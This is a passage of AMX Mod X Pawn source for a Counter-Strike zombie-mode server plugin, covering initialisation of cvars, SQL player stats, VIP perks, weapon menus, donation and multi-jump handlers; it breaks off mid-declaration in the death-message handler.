	register_cvar("amx_vote_answers", "1");

	register_cvar("amx_vote_delay", "60");

	register_cvar("amx_last_voting", "0");

	register_cvar("amx_votemap_ratio", "0.40");

	set_cvar_float ( "amx_last_voting", 0.0 );

	#if defined USING_SQL
	register_srvcmd ( "amx_sqladmins", "adminSql" );

	register_cvar ( "amx_sql_table", "admins", FCVAR_PROTECTED );
	#endif

	register_cvar ( "amx_sql_host", "", FCVAR_PROTECTED );

	register_cvar ( "amx_sql_user", "", FCVAR_PROTECTED );

	register_cvar ( "amx_sql_pass", "", FCVAR_PROTECTED );

	register_cvar ( "amx_sql_db", "", FCVAR_PROTECTED );

	register_cvar ( "amx_sql_type", "mysql", FCVAR_PROTECTED );

	register_cvar ( "amx_sql_timeout", "60", FCVAR_PROTECTED );

	GagThinker (  );

	register_think ( "GagThinker_", "fwGagThinker" );

	new Director [64]; get_configsdir ( Director, charsmax ( Director ) );

	server_cmd ( "exec %s/sql.cfg", Director );

	#if defined USING_SQL

	server_cmd ( "amx_sqladmins" );

	#else

	format ( Director, charsmax ( Director ), "%s/%s", Director, ADMINS_FILE_NAME );

	AdminsLoadSettings ( Director );

	#endif

	cvar_on		= register_cvar ( "amx_resetscore", "1"   );
	cvar_messages	= register_cvar ( "amx_resetmessage", "2" );

	static g_words [ ] [ ] =
	{
		"reset",
		"resetscore",
		"rs",
		"rscore"
	}

	new iString [ 26 ], i;

	for ( i = 0; i < sizeof ( g_words ); i++ )
	{
		formatex ( iString, 25, "say /%s", g_words [ i ] );
		register_clcmd ( iString, "cmdResetScore", -1 );
	}

	g_Tuple = SQL_MakeDbTuple(SQL_Server, SQL_Person, SQL_Password, SQL_Database);

	if (g_Tuple == Empty_Handle)
	{
		g_Tuple = SQL_MakeDbTuple(SQL_Server, SQL_Person, SQL_Password, SQL_Database);

		if (g_Tuple == Empty_Handle)
		{
			log_to_file(Errors_File, "SQL_MakeDbTuple() failed @ plugin_init()");

			return set_fail_state("SQL_MakeDbTuple() failed @ plugin_init()");
		}
	}

	SQL_ThreadQuery(g_Tuple, "emptyFunction", "CREATE TABLE IF NOT EXISTS Players \
		(Name TEXT, Steam TEXT, Ip TEXT, Score NUMERIC, Kills NUMERIC, Deaths NUMERIC, \
		headShots NUMERIC, Time NUMERIC, timeString TEXT, Seen NUMERIC, seenString TEXT, kpdRatio FLOAT, \
		kmdValue NUMERIC);");

	SQL_ThreadQuery(g_Tuple, "recordsCount", "SELECT Kills FROM Players");

	g_maxPlayers = get_maxplayers();

	/* -------------- | License mysql | ------------ */
	amx_show_activity = get_cvar_pointer("amx_show_activity");

	if (amx_show_activity == 0)
	{
		amx_show_activity = register_cvar("amx_show_activity", "2");
	}

	Get_ServerIP( );
	/* -------------- | Guns | ------------ */

    g_PrimaryMenu = menu_create( "Primary Weapon", "PrimaryHandler" )
    g_SecondaryMenu = menu_create( "Secondary Weapon", "SecondaryHandler" )

    for ( new i; i < sizeof g_SecondaryWeapon; i++ )
	menu_additem( g_PrimaryMenu, g_SecondaryWeapon[ i ][ wInfo ] )

    for ( new i; i < sizeof g_PrimaryWeapon; i++ )
	menu_additem( g_SecondaryMenu, g_PrimaryWeapon[ i ][ wInfo ] )

	cvar_deadlyshot_time = register_cvar("ds_time", "10.0")

	sync_hud1 = CreateHudSyncObj(random_num(1, 10))

	set_task(2.0,"Calcu",232222,_,_,"b");

	new	vault = nvault_open("points")
	if (vault != INVALID_HANDLE)
	{
		nvault_prune(vault, 0, get_systime() - 2629743);
		nvault_close(vault)
		vault=INVALID_HANDLE
	}

	set_task(10.0, "Rays", .flags="b");

	new cfgs[128];
	get_configsdir(cfgs, 127)
	add(cfgs, 127, "/vips.ini")

	new file = fopen(cfgs, "r")
	if (file)
	{
		new line[512], name[64], pwd[64], flags[64]

		while (!feof(file))
		{
			fgets(file, line ,511)
			trim(line)
			if (!line[0] || line[0] == '/' || line[0] == ';' || line[0] == '#')
			continue;
			new r=parse(line, name,63,pwd,63,flags,63)
			if (r < 3) continue;
			ArrayPushString(g_vname, name)
			ArrayPushString(g_vpwd, pwd)
			ArrayPushString(g_vflags, flags)
		}
		fclose(file)
	}

	/* ------------- | Change Commands | ----------- */

	register_clcmd ( "nightvision", "cmdNightVision" );

	register_clcmd ( "drop", "cmdDrop" );

	register_clcmd ( "chooseteam", "cmdChangeTeam" );

	register_clcmd ( "jointeam", "cmdChangeTeam" );

	/* ------------- |  Buy TripMine  | -------------- */

	register_clcmd ( "say", "SayCommands" );

	register_clcmd ( "say", "cmdCommandHook" );

	register_clcmd ( "createlaser", "PlantTripMine" );

	register_clcmd ( "removelaser", "TakeTripMine" );

	register_think ( "zRises_TripMine", "fwThinkMine" );

	/* ------------- | Block Commands | -------------- */

	register_clcmd ( "radio1", "cmdNotAllowed" );

	register_clcmd ( "radio2", "cmdNotAllowed" );

	register_clcmd ( "radio3", "cmdNotAllowed" );

	register_clcmd ( "fullupdate","cmdNotAllowed" );

	register_clcmd ( "cl_setautobuy", "cmdNotAllowed" );

	register_clcmd ( "cl_autobuy", "cmdNotAllowed" );

	register_clcmd ( "cl_setrebuy", "cmdNotAllowed" );

	register_clcmd ( "cl_rebuy", "cmdNotAllowed" ) ;

	register_clcmd ( "autobuy", "cmdNotAllowed" );

	/* ------------- | Admin Commands | -------------- */

	new File, Line [32];

	get_localinfo ( "amxx_configsdir", Director, charsmax ( Director ) );

	format ( Director, charsmax ( Director ), "%s/RestrictedNames.ini", Director );

	File = fopen ( Director, "rt" );

	while ( !feof ( File ) )
	{
		fgets ( File, Line, charsmax ( Line ) );

		trim ( Line );

		if ( strlen ( Line ) )
		{
			copy ( RestrictedNames [WordsCount], 31, Line );

			WordsCount++;
		}
	}

	fclose ( File );

	new File2 = fopen("addons/amxmodx/configs/HudMessages.ini", "r");

	if ( File2 )
	{
		new Line [512];

		while ( !feof ( File2 ) )
		{
			fgets ( File2, Line, sizeof ( Line ) - 1 );

			trim ( Line );

			if ( Line [0] )
			{
				while ( replace ( Line, sizeof ( Line ) -1, "\n", "^n" ) ) { }

				ArrayPushString ( GetMessages, Line );
			}
		}

		fclose ( File2 );
	}
	else
	{
		log_amx ( "Failed to open HudMessages.ini file!" );
	}

	if ( ArraySize ( GetMessages ) )
	{
		set_task ( 160.0, "TaskHudMessages", .flags = "b" );
	}


	/* --------------- | Events & LogEvents | -------------- */

	register_event ( "DeathMsg", "evDeathMsg", "a" );

	register_event ( "StatusValue", "evShowStatus", "be", "1=2", "2!0" );

	register_event ( "StatusValue", "evHideStatus", "be", "1=1", "2=0" );

	register_event ( "StatusValue", "ShowStatus", "be", "1=2", "2!0" );

	register_event ( "StatusValue", "HideStatus", "be", "1=1", "2=0" );

	register_event ( "HLTV", "evNewRound", "a", "1=0", "2=0" );

	register_event ( "ResetHUD", "evResetHud", "b" );

	register_event ( "AmmoX", "evAmmoX", "be" );

	register_event ( "30", "evIntermission", "a" );

	register_event ( "CurWeapon", "CheckModels", "be" );

	register_event ( "DeathMsg","Fix","a" );

	register_event ( "TeamInfo","Fix","a" );

	register_event ( "ResetHUD", "resethud", "be" );

	register_logevent ( "leRoundStart", 2, "1=Round_Start" );

	register_logevent ( "leRoundEnd", 2, "1=Round_End" );

	register_logevent ( "RE", 2 ,"1=Round_End" );

	/* --------------- | Ham Forwards | --------------- */

	RegisterHam ( Ham_Spawn, "player", "fwPlayerSpawnPost", 1 );

	RegisterHam ( Ham_Killed, "player", "fwPlayerKilled" );

	RegisterHam ( Ham_Killed, "player", "fwPlayerKilledPost", 1 );

	RegisterHam ( Ham_TakeDamage, "player", "fwTakeDamage" );

	RegisterHam ( Ham_TakeDamage, "player", "fwTakeDamagePost", 1 );

	RegisterHam ( Ham_TraceAttack, "player", "fwTraceAttack" );

	RegisterHam  (Ham_TraceAttack, "worldspawn", "TraceAttack", 1);

	RegisterHam ( Ham_TraceAttack, "player", "TraceAttack", 1);

	RegisterHam  (Ham_TraceAttack, "worldspawn", "TraceAttack_02", 1);

	RegisterHam ( Ham_TraceAttack, "player", "TraceAttack_02", 1);

	RegisterHam ( Ham_TraceAttack, "player", "fw_traceattack" )

	RegisterHam ( Ham_Use, "func_tank", "fwUseStationary" );

	RegisterHam ( Ham_Use, "func_tankmortar", "fwUseStationary" );

	RegisterHam ( Ham_Use, "func_tankrocket", "fwUseStationary" );

	RegisterHam ( Ham_Use, "func_tanklaser", "fwUseStationary" );

	RegisterHam ( Ham_Use, "func_tank", "fwUseStationaryPost", 1 );

	RegisterHam ( Ham_Use, "func_tankmortar", "fwUseStationaryPost", 1 );

	RegisterHam ( Ham_Use, "func_tankrocket", "fwUseStationaryPost", 1 );

	RegisterHam ( Ham_Use, "func_tanklaser", "fwUseStationaryPost", 1 );

	RegisterHam ( Ham_Use, "func_pushable", "fwUsePushable" );

	RegisterHam ( Ham_Touch, "weaponbox", "fwTouchWeapon" );

	RegisterHam ( Ham_Touch, "armoury_entity", "fwTouchWeapon" );

	RegisterHam ( Ham_Touch, "weapon_shield", "fwTouchWeapon" );

	RegisterHam ( Ham_AddPlayerItem, "player", "fwAddPlayerItem" );

	RegisterHam ( Ham_Think, "grenade", "fwThinkGrenade" );



	for ( new i = 1; i < sizeof WEAPONENTNAMES; i++ ) if ( WEAPONENTNAMES [i] [0] ) RegisterHam ( Ham_Item_Deploy, WEAPONENTNAMES [i], "fwItemDeployPost", 1 );

	register_forward ( FM_SetClientKeyValue, "fwSetClientKeyValue" );

	register_forward ( FM_ClientUserInfoChanged, "fwClientInfoChanged" );

	register_forward ( FM_ClientKill, "fwClientKill" );

	register_forward ( FM_EmitSound, "fwEmitSound" );

	register_forward ( FM_GetGameDescription, "fwGetGameDescription" );

	register_forward ( FM_SetModel, "fwSetModel" );

	register_forward ( FM_PlayerPreThink, "fwPlayerPreThink" );

	register_forward ( FM_PlayerPreThink, "fmPlayerPreThink" );

	register_forward ( FM_TraceLine, "fwTraceLinePost", 1 );

	register_forward ( FM_StartFrame, "fwStartFrame" );

	register_forward ( FM_ClientUserInfoChanged, "fwClientUserInfoChanged" );

	register_forward ( FM_UpdateClientData, "Data" );

	register_forward ( FM_PlayerPreThink, "fwPlayerPreThink_01" );

	register_forward ( FM_PlayerPreThink, "fwPlayerPreThink_02" );

	register_forward ( FM_PlayerPreThink, "fwPlayerPreThink_03" );

	register_forward ( FM_PlayerPostThink, "fwPlayerPostThink" );

	register_forward ( FM_PlayerPostThink, "fwPlayerPostThink_02" );

	unregister_forward ( FM_Spawn, fwSpawn );

	unregister_forward ( FM_PrecacheSound, fwPrecacheSound );

	/* --------------- | Message Hook | --------------- */

	register_message ( get_user_msgid ( "CurWeapon" ), "MessageCurWeapon" );

	register_message ( get_user_msgid ( "Money" ), "MessageMoney" );

	register_message ( get_user_msgid ( "Health" ), "MessageHealth" );

	register_message ( get_user_msgid ( "ScreenFade" ), "MessageScreenFade" );

	register_message ( get_user_msgid ( "NVGToggle" ), "MessageNvgToggle" );

	register_message ( get_user_msgid ( "WeapPickup" ), "MessageWeaponPickup" );

	register_message ( get_user_msgid ( "AmmoPickup" ), "MessageAmmoPickup" );

	register_message ( get_user_msgid ( "Scenario" ), "MessageScenario" );

	register_message ( get_user_msgid ( "HostagePos" ), "MessageHostagePos" );

	register_message ( get_user_msgid ( "TextMsg" ), "MessageTextMsg" );

	register_message ( get_user_msgid ( "SendAudio" ), "MessageSendAudio" );

	register_message ( get_user_msgid ( "TeamScore" ), "MessageTeamScore" );

	register_message ( get_user_msgid ( "TeamInfo" ), "MessageTeamInfo" );

	/* ------------- | Global Cvar's | -------------- */

	GetCvar [zRisesTryderHealth] = register_cvar ( "z_tryder_health", "666" );

	GetCvar [zRisesTryderArmor] = register_cvar ( "z_tryder_armor", "666" );

	GetCvar [zRisesNemesisHealth] = register_cvar ( "z_nemesis_health", "150000" );

	GetCvar [zRisesAssassinHealth] = register_cvar ( "z_assassin_health", "35000" );

	GetCvar [zRisesHumanHealth] = register_cvar ( "z_human_health", "150" );

	GetCvar [zRisesNemesisGravity] = register_cvar ( "z_nemesis_gravity", "0.5" );

	GetCvar [zRisesAssassinGravity] = register_cvar ( "z_assassin_gravity", "0.4" );

	GetCvar [zRisesAmmoDamage] = register_cvar ( "z_ammo_damage", "500" );

	GetCvar [zRisesZombieArmor] = register_cvar ( "z_zombie_armor", "0.75" );

	GetCvar [zRisesNemesisSpeed] = register_cvar ( "z_nemesis_speed", "250" );

	GetCvar [zRisesAssassinSpeed] = register_cvar ( "z_assassin_speed", "600" );

	GetCvar [zRisesSurvivorHealth] = register_cvar ( "z_survivor_health", "5000" );

	GetCvar [zRisesSurvivorSpeed] = register_cvar ( "z_survivor_speed", "230" );

	GetCvar [zRisesSniperHealth] = register_cvar ( "z_sniper_health", "3000" );

	GetCvar [zRisesSniperSpeed] = register_cvar ( "z_sniper_speed", "235" );

	GetCvar [zRisesHumanSpeed] = register_cvar ( "z_human_speed", "240" );

	GetCvar [zRisesAmmoInfect] = register_cvar ( "z_ammo_infect", "1" );

	GetCvar [zRisesSurvivorGravity] = register_cvar ( "z_survivor_gravity", "1.0" );

	GetCvar [zRisesSniperGravity] = register_cvar ( "z_sniper_gravity", "1.0" );

	GetCvar [zRisesHumanGravity] = register_cvar ( "z_human_gravity", "1.0" );

	GetCvar [zRisesApocalypseNemesisHealth] = register_cvar ( "z_apocalypse_nemesis_health", "40000" );

	GetCvar [zRisesApocalypseSurvivorHealth] = register_cvar ( "z_apocalypse_surivor_health", "10000" );

	GetCvar [zRisesApocalypseAssassinHealth] = register_cvar ( "z_apocalypse_assassin_health", "35000" );

	GetCvar [zRisesApocalypseSniperHealth] = register_cvar ( "z_apocalypse_sniper_health", "8000" );

	GetCvar [zRisesNemesisDamage] = register_cvar ( "z_nemesis_damage", "250" );

	GetCvar [zRisesAssassinDamage] = register_cvar ( "z_assassin_damage", "250" );

	GetCvar [zRisesNightmareNemesisHealth] = register_cvar ( "z_nightmare_nemesis_health", "40000" );

	GetCvar [zRisesNightmareAssassinHealth] = register_cvar ( "z_nightmare_assassin_health", "35000" );

	GetCvar [zRisesNightmareSurvivorHealth] = register_cvar ( "z_nightmare_survivor_health", "10000" );

	GetCvar [zRisesNightmareSniperHealth] = register_cvar ( "z_nightmare_sniper_health", "8000" );

	GetCvar [zRisesPlagueNemesisHealth] = register_cvar ( "z_plague_nemesis_health", "50000" );

	GetCvar [zRisesPlagueSurvivorHealth] = register_cvar ( "z_plague_surivor_health", "8000" );

	GetCvar [zRisesSniperDamage] = register_cvar ( "z_sniper_damage", "4600" );

	GetCvar [zRisesStartPacks] = register_cvar ( "z_start_packs", "5" );

	/* --------------- | Custom Forwards | --------------- */

	fwRoundStart = CreateMultiForward ( "zRoundStarted", ET_IGNORE, FP_CELL, FP_CELL );

	fwRoundEnd = CreateMultiForward ( "zRoundEnded", ET_IGNORE, FP_CELL );

	fwUserInfectedPre = CreateMultiForward ( "zUserInfectedPre", ET_IGNORE, FP_CELL, FP_CELL, FP_CELL );

	fwUserInfectedPost = CreateMultiForward ( "zUserInfectedPost", ET_IGNORE, FP_CELL, FP_CELL, FP_CELL );

	fwUserHumanizedPre = CreateMultiForward ( "zUserHumanizedPre", ET_IGNORE, FP_CELL, FP_CELL );

	fwUserHumanizedPost = CreateMultiForward ( "zUserHumanizedPost", ET_IGNORE, FP_CELL, FP_CELL );

	fwUserInfectAttempt = CreateMultiForward ( "zUserInfectAttempt", ET_CONTINUE, FP_CELL, FP_CELL, FP_CELL );

	fwUserHumanizeAttempt = CreateMultiForward ( "zUserHumanizeAttempt", ET_CONTINUE, FP_CELL, FP_CELL );

	fwUserUnfrozen = CreateMultiForward ( "zUserUnfrozen", ET_IGNORE, FP_CELL );

	fwUserLastZombie = CreateMultiForward ( "zUserLastZombie", ET_IGNORE, FP_CELL );

	fwUserLastHuman = CreateMultiForward ( "zUserLastHuman", ET_IGNORE, FP_CELL );

	/* --------------- | For Game Mode | --------------- */

	LoadSpawns (  );

	iSize = sizeof ( iCoords );

	HudMsgSync [0] = CreateHudSyncObj ( 1 );

	HudMsgSync [1] = CreateHudSyncObj ( 2 );

	HudMsgSync [2] = CreateHudSyncObj ( 3 );

	HudMsgSync [3] = CreateHudSyncObj ( 4 );

	MaxPlayers = get_maxplayers (  );

	DBSlot = MaxPlayers + 1;

	return PLUGIN_CONTINUE;
}

public SayCommands ( id )
{
	new Args [64]; read_args ( Args, charsmax ( Args ) )

	remove_quotes ( Args );

	new Arg_01 [16], Arg_02 [32];

	strbreak ( Args, Arg_01, charsmax ( Arg_01 ), Arg_02, charsmax ( Arg_02 ) );

	if ( equal ( Arg_01, "/donate", 7 ) )

	cmdDonatePacks ( id, Arg_02 );

	else if ( equal ( Arg_01, "/lm" ) || equal ( Arg_01, "lm" ) )

	BuyTripMine ( id );

}

public cmdDonatePacks ( id, Arg [ ] )
{
	new To [32], Count [10];

	strbreak ( Arg, To, charsmax ( To ), Count, charsmax ( Count ) );

	if ( !To [0] || !Count [0] )
	{
		client_print_color ( id, print_team_grey, "%s Usage^4 :^3 '/donate (Name) (Packs)'", CHAT_PREFIX );

		return;
	}

	new Reciever = cmd_target ( id, To, ( CMDTARGET_ALLOW_SELF ) );

	if ( !Reciever || Reciever == id )
	{
		client_print_color ( id, print_team_grey, "%s Player^3 %s^1 has not been found on the server!", CHAT_PREFIX, To );

		return;
	}

	new PacksSender = AmmoPacks [id];

	new Packs;

	if ( equal ( Count, "all" ) )

		Packs = PacksSender;
	else
		Packs = str_to_num ( Count );

	if ( Packs <= 0 )
	{
		client_print_color ( id, print_team_default, "%s Wrong ammo quantity!", CHAT_PREFIX );

		return;
	}

	if ( PacksSender <= 0 && Packs > 0 )
	{
		client_print_color ( id, print_team_default, "%s Unavailable command.", CHAT_PREFIX );

		return;
	}

	PacksSender -= Packs;

	if ( PacksSender < 0 )
	{
		Packs += PacksSender;

		PacksSender = 0;

	}

	AmmoPacks [Reciever] += Packs;

	UserTotalAmmo [Reciever] += Packs

	AmmoPacks [id] = PacksSender;

	client_print_color ( 0, print_team_grey, "%s^3 %s^1 gave^4 %d packs^1 to^3 %s", CHAT_PREFIX, PlayerName [id], Packs, PlayerName [Reciever] );
}

public client_PreThink ( id )
{
		if (IsZombie [id] && ZombieClass [id] == ZCLASS_FROZEN && !IsNemesis [id] && !IsAssassin [id] || MultiJumps [id] && !IsZombie [id] && !IsNemesis [id] && !IsAssassin [id]  )
		{
			new nBut = get_user_button ( id );

			new oBut = get_user_oldbutton ( id );

			new GetJumps

			if ( MultiJumps [id] )
			{
				GetJumps = MultiJumps [id];
			}
			else
			{
				GetJumps = 1;
			}

			if ( ( nBut & IN_JUMP ) && !( get_entity_flags ( id ) & FL_ONGROUND ) && !( oBut & IN_JUMP ) )
			{
				if ( JumpNum[id] < GetJumps )
				{
					DoJump [id] = true;

					JumpNum [id] ++;
				}
			}
			if ( ( nBut & IN_JUMP ) && ( get_entity_flags ( id ) & FL_ONGROUND ) )
			{
				JumpNum [id] = 0;
			}
		}
}

public fwPlayerPreThink_01 ( id )
{
	if (g_vip[id] && containi(g_vip_flags[id], "J")!=-1 || MultiJumps [id] && IsZombie [id])
	{
			new nBut = get_user_button ( id );

			new oBut = get_user_oldbutton ( id );

			new GetJumps

			if ( MultiJumps [id] )
			{
				GetJumps = MultiJumps [id];
			}
			else
			{
				GetJumps = 1;
			}

			if ( ( nBut & IN_JUMP ) && !( get_entity_flags ( id ) & FL_ONGROUND ) && !( oBut & IN_JUMP ) )
			{
				if ( JumpNum[id] < GetJumps )
				{
					DoJump [id] = true;

					JumpNum [id] ++;
				}
			}
			if ( ( nBut & IN_JUMP ) && ( get_entity_flags ( id ) & FL_ONGROUND ) )
			{
				JumpNum [id] = 0;
			}
	}
}

public fwPlayerPreThink_02 ( Client )
{
	if(!IsAlive[Client]) return

	new Float:fallspeed = 100.0 * -1.0

	new button = get_user_button(Client)
	if(button & IN_USE)
	{
		new Float:velocity[3]
		entity_get_vector(Client, EV_VEC_velocity, velocity)
		if (velocity[2] < 0.0)
		{
			entity_set_int(Client, EV_INT_sequence, 3)
			entity_set_int(Client, EV_INT_gaitsequence, 1)
			entity_set_float(Client, EV_FL_frame, 1.0)
			entity_set_float(Client, EV_FL_framerate, 1.0)

			velocity[2] = (velocity[2] + 40.0 < fallspeed) ? velocity[2] + 40.0 : fallspeed
			entity_set_vector(Client, EV_VEC_velocity, velocity)
		}
	}
}

public fwPlayerPreThink_03 ( Client )
{
	if (g_bFrozen[Client] &&is_user_alive(Client))
	{
		fm_set_rendering(Client, kRenderFxGlowShell, 0, 90, 180, kRenderNormal, 30)
	}
}

public client_PostThink ( id )
{
	if ( IsZombie [id] && ZombieClass [id] == ZCLASS_FROZEN && !IsNemesis [id] && !IsAssassin [id] || MultiJumps [id] && !IsZombie [id] && !IsNemesis [id] && !IsAssassin [id])

	{
		if ( DoJump [id] == true )
		{
			new Float: Velocity [3];

			entity_get_vector ( id,EV_VEC_velocity, Velocity );

			Velocity [2] = random_float ( 265.0, 285.0 );

			entity_set_vector ( id, EV_VEC_velocity, Velocity );

			DoJump [id] = false;

			return PLUGIN_CONTINUE;
		}
	}
	return PLUGIN_CONTINUE;
}
public fwPlayerPostThink (id)
{
	if(g_vip[id] && containi(g_vip_flags[id], "J") == -1) return
	if(DoJump[id] == true)
	{
		new Float:velocity[3]
		entity_get_vector(id,EV_VEC_velocity,velocity)
		velocity[2] = random_float(265.0, 285.0)
		entity_set_vector(id,EV_VEC_velocity,velocity)
		DoJump[id] = false
	}
}
public fwPlayerPostThink_02(id)
{
	static Button
	Button = get_user_button(id)

	if(Button & IN_USE)
	{
		if(has_item[id] && !using_item[id])
		{
			has_item[id] = false
			using_item[id] = true

			set_task(get_pcvar_float(cvar_deadlyshot_time), "remove_headshot_mode", id+TASK_REMOVE2)
		}
	}
}

public show_hud(id)
{
	id -= TASK_HUD

	set_hudmessage(0, 255, 0, -1.0, 0.88, 0, 2.0, 1.0)

	if(has_item[id])
	{
		ShowSyncHudMsg(id, sync_hud1, "[E] -> Active Deadly Shot")
	}
	else if(using_item[id])
	{
		ShowSyncHudMsg(id, sync_hud1, "Deadly Shot - Actived")
	}
	else
	{
		set_hudmessage(0, 255, 0, -1.0, 0.88, 0, 2.0, 5.0)
		ShowSyncHudMsg(id, sync_hud1, "Deadly Shot - Disable")
		if(task_exists(id+TASK_HUD)) remove_task(id+TASK_HUD)
	}
}

public resethud(id)
{
	if(IsAlive[id] && g_vip[id] && containi(g_vip_flags[id], "S") != -1)
	{
		message_begin(MSG_BROADCAST, get_user_msgid("ScoreAttrib"))
		write_byte(id)
		write_byte(4)
		message_end()

		set_task(0.122, "makevip", id, _, _, "a", 3)
	}
}

public makevip(id)
{
	if(IsAlive[id] && g_vip[id] && containi(g_vip_flags[id], "S") != -1)
	{
		message_begin(MSG_BROADCAST, get_user_msgid("ScoreAttrib"))
		write_byte(id)
		write_byte(4)
		message_end()
	}
}

public Rays()
{
	static Float:origin[3];
	for (new vip = 1; vip <= MaxPlayers; vip++)
	{
		if (IsAlive[vip] && g_vip[vip] && containi(g_vip_flags[vip], "R") != -1)
		{
			if (!IsZombie[vip])
			{
				for (new z=1;z<=MaxPlayers;z++)
				{
					if (IsAlive[z]&&IsZombie[z]&&!ExecuteHam(Ham_FVisible, vip, z))
					{
						pev(z,pev_origin,origin);
						message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, vip)
						write_byte(TE_BEAMENTPOINT)
						write_short(vip)
						engfunc(EngFunc_WriteCoord, origin[0])
						engfunc(EngFunc_WriteCoord, origin[1])
						engfunc(EngFunc_WriteCoord, origin[2])
						write_short(g_iLaser)
						write_byte(10)
						write_byte(10)
						write_byte(10)
						write_byte(10)
						write_byte(10)
						write_byte(255)
						write_byte(0)
						write_byte(0)
						write_byte(200)
						write_byte(10)
						message_end()
					}
				}
			}
			else
			{
				for (new z=1;z<=MaxPlayers;z++)
				{
					if (IsAlive[z]&&!IsZombie[z]&&!ExecuteHam(Ham_FVisible, vip, z))
					{
						pev(z,pev_origin,origin);
						message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, vip)
						write_byte(TE_BEAMENTPOINT)
						write_short(vip)
						engfunc(EngFunc_WriteCoord, origin[0])
						engfunc(EngFunc_WriteCoord, origin[1])
						engfunc(EngFunc_WriteCoord, origin[2])
						write_short(g_iLaser)
						write_byte(10)
						write_byte(10)
						write_byte(10)
						write_byte(10)
						write_byte(10)
						write_byte(0)
						write_byte(120)
						write_byte(190)
						write_byte(200)
						write_byte(10)
						message_end()
					}
				}
			}
		}
	}
}

public plugin_cfg (  )
{
	set_task ( 0.5, "CacheCvars" );

	set_task ( 0.5, "evNewRound" );

	set_task ( 0.5, "leRoundStart" );

}

public PrimaryHandler( id, menu, item )
{
    if ( item == MENU_EXIT )
    return PLUGIN_HANDLED

	drop_weapons(id, 1)
	drop_weapons(id, 2)

	if (!IsAlive[id] || IsZombie[id] || IsSurvivor[id] || IsSniper[id] || IsBot[id])
	return PLUGIN_HANDLED

	fm_strip_user_weapons(id)
	fm_give_item(id, "weapon_knife" )
	fm_give_item(id, "weapon_flashbang" )
	fm_give_item(id, "weapon_hegrenade" )
	fm_give_item(id, "weapon_smokegrenade" )
    fm_give_item(id, g_SecondaryWeapon[ item ][ wName ] )


    cs_set_user_bpammo( id, get_weaponid( g_SecondaryWeapon[ item ][ wName ] ), g_SecondaryWeapon[ item ][ wBpammo ] )

    menu_display( id, g_SecondaryMenu )

    return PLUGIN_HANDLED
}

public SecondaryHandler( id, menu, item )
{

    if ( item == MENU_EXIT )
    return PLUGIN_HANDLED

    give_item( id, g_PrimaryWeapon[ item ][ wName ] )
    cs_set_user_bpammo( id, get_weaponid( g_PrimaryWeapon[ item ][ wName ] ), g_PrimaryWeapon[ item ][ wBpammo ] )

    return PLUGIN_HANDLED
}

public client_damage ( iAttacker, iVictim, iDamage )
{
	if ( IsZombie [iAttacker] || IsNemesis [iAttacker] || IsAssassin [iAttacker] ) return;

	if ( ++ iPosition [iAttacker] == iSize ) iPosition [iAttacker] = 0;

	set_hudmessage ( 0, 40, 80, Float: iCoords [iPosition [iAttacker]] [0], Float: iCoords [iPosition [iAttacker]] [1], 0, 0.1, 2.5, 0.02, 0.02, -1 );

	ShowSyncHudMsg ( iAttacker, HudMsgSync [3], "%i", iDamage );
}

public cmdNotAllowed ( id ) return PLUGIN_HANDLED;

public zRoundStarted ( Mode, id )
{
	remove_task ( id + TASK_HEALTH );

         if ( Mode == MODE_NEMESIS )
	{
	       if ( !ModeNemesis ) ModeNemesis = true;

	       set_task ( REMINDER_DELAY, "ModeInformer", id + TASK_HEALTH, _, _, "b" );
	}
	else if ( Mode == MODE_ASSASSIN )
	{
	       if ( !ModeAssassin ) ModeAssassin = true;

                set_task ( REMINDER_DELAY, "ModeInformer", id + TASK_HEALTH, _, _, "b" );
	}
	else if ( Mode == MODE_SURVIVOR )
	{
	       if ( !ModeSurvivor ) ModeSurvivor = true;

                set_task ( REMINDER_DELAY, "ModeInformer", id + TASK_HEALTH, _, _, "b" );
	}
	else if ( Mode == MODE_SNIPER )
	{
	       if ( !ModeSniper ) ModeSniper = true;

                set_task ( REMINDER_DELAY, "ModeInformer", id + TASK_HEALTH, _, _, "b" );
	}
}

public ModeInformer ( id )
{
	id -= TASK_HEALTH;

	if ( is_user_alive ( id ) )
	{
		static HealthString [16]; AddCommas ( get_user_health ( id ), HealthString, charsmax ( HealthString ) );

		if ( IsNemesis [id] )
		{
			client_print_color ( 0, print_team_grey, "^4[Zombie Outstanding] ^1A ^3Rapture^1 Reminder ^3@ ^4Nemesis ^1still has ^3%s ^4health points", HealthString );
		}

	}
}

public evDeathMsg (  )
{
	new iPlayers [32], iHuman, iZombie;

	new Weapon [32]; read_data ( 4, Weapon, charsmax ( Weapon ) );

	if ( ModeNemesis )
	{
		get_players ( iPlayers, iHuman, "ah" );

		set_hudmessage ( 255, 255, 255, 0.02, 0.6, 2, 0.02, 3.0, 0.02, 0.4, 4 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "%d Human%s Remaining...", iHuman - 1, iHuman == 2 ? "" : "s" );
	}

	if ( ModeAssassin )
	{
		get_players ( iPlayers, iHuman, "ah" );

		set_hudmessage ( 255, 255, 255, 0.02, 0.6, 2, 0.02, 3.0, 0.02, 0.4, 4 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "%d Human%s Remaining...", iHuman - 1, iHuman == 2 ? "" : "s" );
	}

	if ( ModeSurvivor )
	{
		get_players ( iPlayers, iZombie, "ah" );

		set_hudmessage ( 255, 255, 255, 0.02, 0.6, 2, 0.02, 3.0, 0.02, 0.4, 4 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "%d Zombie%s Remaining...", iZombie - 1, iZombie == 2 ? "" : "s" );
	}

	if ( ModeSniper )
	{
		get_players ( iPlayers, iZombie, "ah" );

		set_hudmessage ( 255, 255, 255, 0.02, 0.6, 2, 0.02, 3.0, 0.02, 0.4, 4 );

		ShowSyncHudMsg ( 0, HudMsgSync [0], "%d Zombie%s Remaining...", iZombie - 1, iZombie == 2 ? "" : "s" );
	}

	/**
	* -----------------------------------------------------
	* Players
	* -----------------------------------------------------
	* Name
	* Steam
	* Ip
	* Score
	* Kills
	* Deaths
	* headShots
	* Time			- The time spent in minutes.
	* timeString	- Formatted as a string.
	* Seen			- get_systime() stamp.
	* seenString	- get_systime() stamp formatted as a time string including date.
	* kpdRatio		- Kills/ Deaths ratio.
	* kmdValue		- Kills - Deaths value.
	*/

	static Killer = 0, Victim = 0, bool:headShot = false,\
		victimIp[64] = { 0, ... }, killerIp[64] = { 0, ... }, timeNow = 0, bool:killerValid = false, \
